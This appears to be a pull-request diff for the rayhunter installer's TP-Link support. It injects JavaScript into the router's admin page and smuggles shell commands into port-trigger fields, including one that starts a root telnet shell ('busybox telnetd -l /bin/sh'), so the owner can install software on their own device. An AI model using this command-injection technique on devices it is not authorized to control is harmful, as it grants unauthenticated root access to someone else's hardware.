Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -205,7 +205,7 @@ jobs:
if-no-files-found: error

build_rootshell:
if: needs.files_changed.outputs.rootshell_changed != '0'
if: needs.files_changed.outputs.rootshell_changed != '0' || needs.files_changed.outputs.installer_changed != '0'
needs:
- check_and_test
- files_changed
Expand Down
41 changes: 30 additions & 11 deletions installer/src/tplink.rs
Original file line number Diff line number Diff line change
Expand Up @@ -265,6 +265,14 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
// on other versions, this path is /js/settings.min.js
let is_settings_js = path.ends_with("/settings.min.js");

if is_settings_js {
// It can happen that new versions of the admin JS do not take effect because of caching
// headers. This is a problem when trying multiple versions of the installer. Delete all
// caching headers and hope the server never erroneously returns a 304 that way.
req.headers_mut().remove("If-Modified-Since");
req.headers_mut().remove("If-None-Match");
}

*req.uri_mut() = Uri::try_from(uri).unwrap();

let mut response = state
Expand All @@ -281,22 +289,33 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
// Intentionally register rayhunter-daemon before rayhunter-root so that we are less
// likely to run into race conditions where rayhunter-root is launched, and the
// installer kills the server. In practice both HTTP requests may execute concurrently
// anyway.
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
console.log("rayhunter: start polling");
var rayhunterSleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
var rayhunterPoll = window.setInterval(async () => {
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 1, openPort: "2401", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start &)", triggerProtocol: "TCP"});
console.log("rayhunter: first request succeeded, stopping rayhunter poll loop");
window.clearInterval(rayhunterPoll);
// PTModel.add actually does not wait for the request to finsh.
// Wait 1 second for the request to finish.
// Running both requests concurrently can get one of the two requests rejected, as
// sending a request with entryId: 2 is invalid if entryId 1 does not exist (yet)
// This only happens starting with firmware M7350(EU)_V9_9.0.2 Build 241021, earlier
// versions are not affected.
await rayhunterSleep(1000);
console.log("rayhunter: running second request");
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 2, openPort: "2402", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh &)", triggerProtocol: "TCP"});
// Do not use alert(), instead replace page with success message. Using alert() will
// block the event loop in such a way that any background promises are blocked from
// progress too. For example: The HTTP requests to register our port triggers!
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
// We can stop polling now, presumably both requests are already inflight.
window.clearInterval(window.rayhunterPoll);
}, 1000);"#);
}, 1000);
});"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
response.headers_mut().remove("Content-Length");
}
Expand Down
28 changes: 23 additions & 5 deletions installer/src/util.rs
Original file line number Diff line number Diff line change
Expand Up @@ -91,7 +91,7 @@ pub async fn telnet_send_file(
payload: &[u8],
wait_for_prompt: bool,
) -> Result<()> {
echo!("Sending file {filename} ... ");
echo!("Sending file {filename}... ");
let nc_output = {
let filename = filename.to_owned();
let handle = tokio::spawn(async move {
Expand All @@ -102,14 +102,31 @@ pub async fn telnet_send_file(
)
.await
});
// wait for nc to become available. if the installer fails with connection refused, this
// likely is not high enough.
sleep(Duration::from_millis(100)).await;

let mut addr = addr;
addr.set_port(8081);

let mut stream;
let mut attempts = 0;

loop {
// wait for nc to become available, with exponential backoff.
//
// if the installer fails with connection refused, this
// likely is not high enough.
sleep(Duration::from_millis(100 * (1 << attempts))).await;

stream = TcpStream::connect(addr).await;
attempts += 1;
if stream.is_ok() || attempts > 3 {
break;
}

echo!("attempt {attempts}... ");
}

{
let mut stream = TcpStream::connect(addr).await?;
let mut stream = stream?;
stream.write_all(payload).await?;

// if the orbic is sluggish, we need for nc to write the data to disk before
Expand All @@ -122,6 +139,7 @@ pub async fn telnet_send_file(
sleep(Duration::from_millis(1000)).await;

// ensure that stream is dropped before we wait for nc to terminate.
drop(stream);
}

handle.await??
Expand Down